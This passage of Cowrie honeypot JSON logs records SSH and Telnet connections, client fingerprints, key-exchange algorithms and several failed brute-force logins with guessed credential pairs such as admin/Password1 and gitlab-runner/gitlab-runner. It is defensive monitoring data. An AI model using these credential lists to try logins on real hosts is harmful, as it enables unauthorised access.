01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:38.102655Z","src_ip":"192.109.200.78","session":"d2f0e32f212f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.497082710266113,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:38.259348Z","src_ip":"66.113.160.81","session":"eb771033ae60","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"phuvanduc","message":"login attempt [root/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:38.356973Z","src_ip":"192.109.200.78","session":"d2f0e32f212f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.647470951080322,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:38.485532Z","src_ip":"172.104.129.70","session":"249ceb3249ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":43998,"dst_ip":"159.203.135.109","dst_port":23,"session":"894e146b8a78","protocol":"telnet","message":"New connection: 103.176.85.233:43998 (159.203.135.109:23) [session: 894e146b8a78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:38.609860Z"}
{"eventid":"cowrie.session.closed","duration":31.009922742843628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:38.773508Z","src_ip":"66.113.160.81","session":"f02a7639c3d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.510656595230103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:39.254982Z","src_ip":"49.50.118.97","session":"06d89003348d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:39.441981Z","src_ip":"192.109.200.78","session":"d2f0e32f212f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":44008,"dst_ip":"159.203.135.109","dst_port":23,"session":"d43eb74dc3b0","protocol":"telnet","message":"New connection: 103.176.85.233:44008 (159.203.135.109:23) [session: d43eb74dc3b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:39.547986Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.129.70","src_port":40068,"dst_ip":"159.203.135.109","dst_port":23,"session":"637c5b0dabfb","protocol":"telnet","message":"New connection: 172.104.129.70:40068 (159.203.135.109:23) [session: 637c5b0dabfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:39.711663Z"}
{"eventid":"cowrie.session.closed","duration":30.949248552322388,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:39.749105Z","src_ip":"66.113.160.81","session":"dd5fcfb4df87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.068580389022827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:40.255742Z","src_ip":"66.113.160.81","session":"c942e9cd17fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.129.70","src_port":40254,"dst_ip":"159.203.135.109","dst_port":23,"session":"0093ded61e26","protocol":"telnet","message":"New connection: 172.104.129.70:40254 (159.203.135.109:23) [session: 0093ded61e26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:40.657828Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55446,"dst_ip":"159.203.135.109","dst_port":22,"session":"584790291dc7","protocol":"ssh","message":"New connection: 159.203.92.129:55446 (159.203.135.109:22) [session: 584790291dc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:40.666928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:40.672107Z","src_ip":"159.203.92.129","session":"584790291dc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.71544051170349,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:40.675713Z","src_ip":"66.113.160.81","session":"1ae22dd83d78","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:40.680483Z","src_ip":"159.203.92.129","session":"584790291dc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Password1","message":"login attempt [admin/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:40.691222Z","src_ip":"159.203.92.129","session":"584790291dc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.136.227.204","src_port":50608,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ff7ea76dd1d","protocol":"telnet","message":"New connection: 128.136.227.204:50608 (159.203.135.109:23) [session: 8ff7ea76dd1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:41.057208Z"}
{"eventid":"cowrie.session.closed","duration":30.985782623291016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:41.177408Z","src_ip":"69.60.120.238","session":"c7643ce4df5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":44010,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecd0ff2d164c","protocol":"telnet","message":"New connection: 103.176.85.233:44010 (159.203.135.109:23) [session: ecd0ff2d164c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:41.518136Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":44014,"dst_ip":"159.203.135.109","dst_port":23,"session":"25265d2afc24","protocol":"telnet","message":"New connection: 103.176.85.233:44014 (159.203.135.109:23) [session: 25265d2afc24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:41.546652Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:41.696254Z","src_ip":"159.203.92.129","session":"584790291dc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":55202,"dst_ip":"159.203.135.109","dst_port":23,"session":"af1e0ccee6bd","protocol":"telnet","message":"New connection: 66.113.160.81:55202 (159.203.135.109:23) [session: af1e0ccee6bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:41.860194Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60000,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe6b8a54969a","protocol":"ssh","message":"New connection: 192.109.200.78:60000 (10.17.0.5:22) [session: fe6b8a54969a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:42.072965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:42.077633Z","src_ip":"192.109.200.78","session":"fe6b8a54969a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:42.168998Z","src_ip":"192.109.200.78","session":"fe6b8a54969a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"gitlab-runner","message":"login attempt [gitlab-runner/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:42.422746Z","src_ip":"192.109.200.78","session":"fe6b8a54969a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":44018,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ccd6dfc4061","protocol":"telnet","message":"New connection: 103.176.85.233:44018 (159.203.135.109:23) [session: 4ccd6dfc4061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:42.628060Z"}
{"eventid":"cowrie.session.closed","duration":31.085588932037354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:42.844321Z","src_ip":"66.113.160.81","session":"e2c6b2a9a31c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":44032,"dst_ip":"159.203.135.109","dst_port":23,"session":"abc95b99f6d9","protocol":"telnet","message":"New connection: 103.176.85.233:44032 (159.203.135.109:23) [session: abc95b99f6d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:42.917246Z"}
{"eventid":"cowrie.session.closed","duration":31.04917025566101,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:43.106140Z","src_ip":"157.250.199.120","session":"06fa9fde16a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:43.508358Z","src_ip":"192.109.200.78","session":"fe6b8a54969a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.011677265167236,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:43.728396Z","src_ip":"66.113.160.81","session":"55fb4c2532cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":44040,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c7309ec3e54","protocol":"telnet","message":"New connection: 103.176.85.233:44040 (159.203.135.109:23) [session: 6c7309ec3e54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:44.547188Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":44042,"dst_ip":"159.203.135.109","dst_port":23,"session":"580682f0b79f","protocol":"telnet","message":"New connection: 103.176.85.233:44042 (159.203.135.109:23) [session: 580682f0b79f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:44.693657Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.129.70","src_port":41262,"dst_ip":"159.203.135.109","dst_port":23,"session":"a764411fedf1","protocol":"telnet","message":"New connection: 172.104.129.70:41262 (159.203.135.109:23) [session: a764411fedf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:45.736073Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.203.48","src_port":51984,"dst_ip":"159.203.135.109","dst_port":23,"session":"4121db9aeb49","protocol":"telnet","message":"New connection: 185.216.203.48:51984 (159.203.135.109:23) [session: 4121db9aeb49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:45.783728Z"}
{"eventid":"cowrie.session.closed","duration":30.89395046234131,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:46.116344Z","src_ip":"69.60.120.238","session":"7470db1f1df1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.989830493927002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:46.159725Z","src_ip":"31.186.175.50","session":"9ee4d6ae9742","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60016,"dst_ip":"10.17.0.5","dst_port":22,"session":"df5f9fbced93","protocol":"ssh","message":"New connection: 192.109.200.78:60016 (10.17.0.5:22) [session: df5f9fbced93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:46.278106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:46.284054Z","src_ip":"192.109.200.78","session":"df5f9fbced93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":38168,"dst_ip":"159.203.135.109","dst_port":23,"session":"95959bdce0ce","protocol":"telnet","message":"New connection: 103.176.85.233:38168 (159.203.135.109:23) [session: 95959bdce0ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:46.497355Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.114.58","src_port":43554,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8e27597ba84","protocol":"telnet","message":"New connection: 62.210.114.58:43554 (159.203.135.109:23) [session: a8e27597ba84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:46.541513Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":38178,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad583fd2d5a2","protocol":"telnet","message":"New connection: 103.176.85.233:38178 (159.203.135.109:23) [session: ad583fd2d5a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:46.545982Z"}
{"eventid":"cowrie.session.closed","duration":30.870137453079224,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:46.651717Z","src_ip":"66.113.160.81","session":"c6ddcb2a5038","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:46.674677Z","src_ip":"192.109.200.78","session":"df5f9fbced93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":38192,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3a380adfff1","protocol":"telnet","message":"New connection: 103.176.85.233:38192 (159.203.135.109:23) [session: f3a380adfff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:46.861187Z"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:46.928099Z","src_ip":"192.109.200.78","session":"df5f9fbced93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.826849937438965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:47.788998Z","src_ip":"66.113.160.81","session":"44add04d526f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:48.016326Z","src_ip":"192.109.200.78","session":"df5f9fbced93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":38194,"dst_ip":"159.203.135.109","dst_port":23,"session":"481a86ca736a","protocol":"telnet","message":"New connection: 103.176.85.233:38194 (159.203.135.109:23) [session: 481a86ca736a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:48.564231Z"}
{"eventid":"cowrie.session.closed","duration":30.918772220611572,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:48.691564Z","src_ip":"66.113.160.81","session":"8f6140e9034c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.364803791046143,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:49.282659Z","src_ip":"66.113.160.81","session":"49a2007f5aa1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.217.230.214","src_port":53918,"dst_ip":"159.203.135.109","dst_port":23,"session":"f45bdecb5d6e","protocol":"telnet","message":"New connection: 95.217.230.214:53918 (159.203.135.109:23) [session: f45bdecb5d6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:49.557958Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":60300,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a341b75b2a4","protocol":"telnet","message":"New connection: 66.113.160.81:60300 (159.203.135.109:23) [session: 1a341b75b2a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:49.753702Z"}
{"eventid":"cowrie.session.closed","duration":30.80131769180298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:50.085678Z","src_ip":"31.186.175.50","session":"948781c14e46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.783855199813843,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:50.098347Z","src_ip":"34.125.158.14","session":"e335f80d1e1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.60.120.238","src_port":54644,"dst_ip":"159.203.135.109","dst_port":23,"session":"3038cb480e6f","protocol":"telnet","message":"New connection: 69.60.120.238:54644 (159.203.135.109:23) [session: 3038cb480e6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:50.169518Z"}
{"eventid":"cowrie.session.closed","duration":30.829426050186157,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:50.246888Z","src_ip":"34.125.158.14","session":"7212f025b296","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42440,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcc9a7e62d04","protocol":"ssh","message":"New connection: 192.109.200.78:42440 (10.17.0.5:22) [session: bcc9a7e62d04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:50.380888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:50.385786Z","src_ip":"192.109.200.78","session":"bcc9a7e62d04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-c